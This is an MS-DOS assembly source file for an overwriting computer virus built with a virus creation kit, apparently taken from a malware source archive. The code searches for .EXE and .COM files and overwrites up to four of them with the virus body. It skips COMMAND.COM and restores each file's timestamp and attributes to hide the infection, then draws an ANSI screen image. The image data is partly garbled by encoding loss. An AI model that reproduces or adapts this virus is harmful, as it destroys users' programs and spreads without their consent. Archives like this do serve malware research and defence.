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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vclmcyel.asm
vxunderground 6bf46a48b9
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2021-01-12 18:04:54 -06:00

287 lines
13 KiB
NASM
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; JOHN.ASM -- For John Boy!
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Pentagrame
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
flag: or di,0
xchg di,ax
mov cx,0004h ; Do 4 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
mov si,offset data00 ; SI points to data
mov cx,03B3h ; Second argument is 947
push di ; Save DI
push es ; Save ES
jcxz uncrunch_done ; Exit if there are no characters
mov ah,0Fh ; BIOS get screen mode function
int 10h
xor ah,ah ; BIOS set screen mode function
int 10h ; Clear the screen
xor di,di
mov ax,0B800h ; AX is set to video segment
mov es,ax ; ES holds video segment
mov dx,di ; Save X coordinate for later
xor ax,ax ; Set current attributes
cld
loopa: lodsb ; Get next character
cmp al,32 ; Is it a control character?
jb foreground ; Handle it if it is
stosw ; Save letter on screen
next: loop loopa ; Repeat until we're done
jmp short uncrunch_done ; Leave this routine
foreground: cmp al,16 ; Are we changing the foreground?
jnb background ; If not, check the background
and ah,0F0h ; Strip off old foreground
or ah,al ; Put the new one on
jmp short next ; Resume looping
background: cmp al,24 ; Are we changing the background?
je next_line ; If AL = 24, go to next line
jnb flash_bit_toggle ; If AL > 24 set the flash bit
sub al,16 ; Change AL to a color number
add al,al ; Crude way of shifting left
add al,al ; four bits without changing
add al,al ; CL or wasting space. Ok,
add al,al ; I guess.
and al,08Fh ; Strip off old background
or ah,al ; Put the new one on
jmp short next ; Resume looping
next_line: add dx,160 ; Skip a whole line (80 chars.
mov di,dx ; AND 80 attribs.)
jmp short next ; Resume looping
flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
jb multi_output ; If AL < 27, it's a blinker
jne next ; Otherwise resume looping
xor ah,128 ; Toggle the flash bit
jmp short next ; Resume looping
multi_output: cmp al,25 ; Set Zero flag if multi-space
mov bx,cx ; Save main counter
lodsb ; Get number of repititions
mov cl,al ; Put it in CL
mov al,' ' ; AL holds a space
jz start_output ; If displaying spaces, jump
lodsb ; Otherwise get character to use
dec bx ; Adjust main counter
start_output: xor ch,ch ; Clear CH
inc cx ; Add one to count
rep stosw ; Display the character
mov cx,bx ; Restore main counter
dec cx ; Adjust main counter
loopnz loopa ; Resume looping if not done
uncrunch_done: pop es ; Restore ES
pop di ; Restore DI
mov ax,04C00h ; DOS terminate function
int 021h
main endp
search_files proc near
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
mov dx,offset com_mask ; DX points to "*.COM"
call find_files ; Try to infect a file
jnc done_searching ; If successful then exit
done_searching: ret ; Return to caller
exe_mask db "*.EXE",0 ; Mask for all .EXE files
com_mask db "*.COM",0 ; Mask for all .COM files
search_files endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
lea dx,[bp - 128] ; DX points to buffer
mov ah,01Ah ; DOS set DTA function
int 021h
mov cx,00100111b ; CX holds all file attributes
mov ah,04Eh ; DOS find first file function
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
jne infection_done ; If it is then exit
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
je infection_done ; If it is then skip it
cmp word ptr [si + 01Ah],(finish - start)
jb infection_done ; If it's too small then exit
mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov cx,4 ; CX holds bytes to read (4)
mov ah,03Fh ; DOS read from file function
mov dx,offset buffer ; DX points to buffer
int 021h
mov ah,03Eh ; DOS close file function
int 021h
push si ; Save DTA address before compare
mov si,offset buffer ; SI points to comparison buffer
mov cx,4 ; CX holds number of bytes (4)
mov di,offset flag ; DI points to virus flag
rep cmpsb ; Compare the first four bytes
pop si ; Restore DTA address
je infection_done ; If equal then exit
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
buffer db 4 dup (?) ; Buffer to hold test data
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
data00: ; TheDraw Assembler Crunched Screen Image
IMAGEDATA_WIDTH EQU 80
IMAGEDATA_DEPTH EQU 25
IMAGEDATA_LENGTH EQU 947
IMAGEDATA LABEL BYTE
DB 15,16,24,24,24,25,2,20,25,'I',24,16,25,2,23,' ',16,25
DB 'G',23,' ',24,16,25,2,20,' ',14,27,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27>'
DB '<27><><EFBFBD>',16,' ',20,'<27>',26,6,'<27><>',16,25,2,20,'<27>',26,6,'<27>'
DB '<27>',16,' ',20,'<27>',26,8,'<27><>',16,' ',20,'<27>',26,8,'<27><>',16
DB ' ',20,'<27>',26,8,'<27><>',24,16,25,2,23,' ',20,26,4,'<27><>',26
DB 4,'<27>',16,' ',20,26,3,'<27><>',16,' ',20,'<27><><EFBFBD><EFBFBD>',16,' ',20
DB 26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,' ',20,26,3,'<27>',16,25,3,20,'<27>'
DB '<27><>',16,' ',20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',20,26
DB 3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',23,' ',24,16,25,2,23,' '
DB 20,26,10,'<27>',16,' ',20,26,3,'<27>',16,25,7,20,26,3,'<27><><EFBFBD>'
DB '<27>',26,3,'<27>',16,' ',20,26,3,'<27>',26,3,'<27>',16,25,3,20,26
DB 3,'<27>',26,4,'<27>',16,25,2,20,26,3,'<27>',26,4,'<27>',16,25,2,23
DB ' ',24,16,25,2,20,' ',26,3,'<27>',16,' ',20,'<27>',16,' ',20
DB 26,3,'<27>',16,' ',20,26,3,'<27>',16,25,7,20,26,10,'<27>',16,' '
DB 20,26,3,'<27>',26,3,'<27>',16,25,3,20,26,3,'<27>',26,4,'<27>',16,25
DB 2,20,26,3,'<27>',26,4,'<27>',16,25,2,20,' ',24,16,25,2,23,' '
DB 20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,' ',20,26,3,'<27><>',16
DB ' ',20,'<27><><EFBFBD><EFBFBD>',16,' ',20,26,3,'<27>',16,25,2,20,26,3,'<27>'
DB 16,' ',20,26,3,'<27>',16,25,7,20,26,3,'<27>',16,25,3,20,'<27>'
DB '<27><>',16,' ',20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',23,' '
DB 24,16,25,2,23,' ',20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16,' '
DB 20,'<27>',26,6,'<27><>',16,' ',20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16
DB ' ',20,'<27><><EFBFBD><EFBFBD>',16,25,7,20,'<27>',26,8,'<27><>',16,' ',20,'<27>',26
DB 8,'<27><>',16,' ',23,' ',24,16,25,2,20,' ',16,25,'G',20,' '
DB 24,16,25,2,23,' ',16,' ',20,'<27><><EFBFBD>',16,25,2,20,'<27>',26,6
DB '<27><>',16,25,4,20,'<27>',26,6,'<27><>',16,25,3,20,'<27>',26,8,'<27>'
DB '<27>',16,' ',20,'<27>',26,6,'<27><>',16,25,2,20,'<27>',26,7,'<27><>'
DB 16,25,2,23,' ',24,16,25,2,20,' ',26,4,'<27>',16,' ',20,26
DB 3,'<27><>',16,' ',20,'<27>',26,3,'<27>',16,25,2,20,26,3,'<27><><EFBFBD><EFBFBD>',26
DB 3,'<27>',16,25,2,20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',20,26
DB 3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,' ',20,26,3,'<27><>',16,25,2,20,'<27><>'
DB '<27>',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'<27>',16,' '
DB 20,'<27>',26,4,'<27><><EFBFBD>',16,25,5,20,26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,25
DB 2,20,26,3,'<27>',26,3,'<27>',16,25,3,20,26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>'
DB 16,' ',20,26,3,'<27>',16,' ',20,26,3,'<27>',16,25,3,20,' '
DB 24,16,25,2,23,' ',20,26,4,'<27>',16,25,3,20,'<27><>',26,4,'<27>'
DB '<27>',16,25,2,20,26,10,'<27>',16,25,2,20,26,3,'<27>',26,3,'<27>'
DB 16,25,3,20,26,10,'<27>',16,' ',20,26,3,'<27>',16,' ',20,'<27>'
DB '<27><><EFBFBD><EFBFBD>',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'<27>',16
DB ' ',20,26,3,'<27><>',16,' ',20,'<27>',26,3,'<27>',16,25,2,20,26
DB 3,'<27>',16,25,2,20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,25,7
DB 20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,' ',20,26,4,'<27><><EFBFBD><EFBFBD>'
DB '<27><><EFBFBD>',16,25,2,23,' ',24,16,25,2,20,' ',16,' ',20,'<27><>'
DB '<27>',16,25,2,20,'<27>',26,6,'<27><>',16,25,3,20,'<27><><EFBFBD><EFBFBD>',16,25,2
DB 20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16,25,7,20,'<27><><EFBFBD><EFBFBD>',16,25,2
DB 20,'<27><><EFBFBD><EFBFBD>',16,' ',20,'<27>',26,7,'<27><>',16,25,2,20,' ',24,16
DB 25,2,23,' ',16,25,'G',23,' ',24,16,25,2,23,' ',16,25,'G'
DB 23,' ',24,16,25,2,20,' ',16,25,'G',20,' ',24,16,25,2,23
DB ' ',16,25,'G',23,' ',24,16,25,2,20,25,'I',24,24,24
finish label near
code ends
end main
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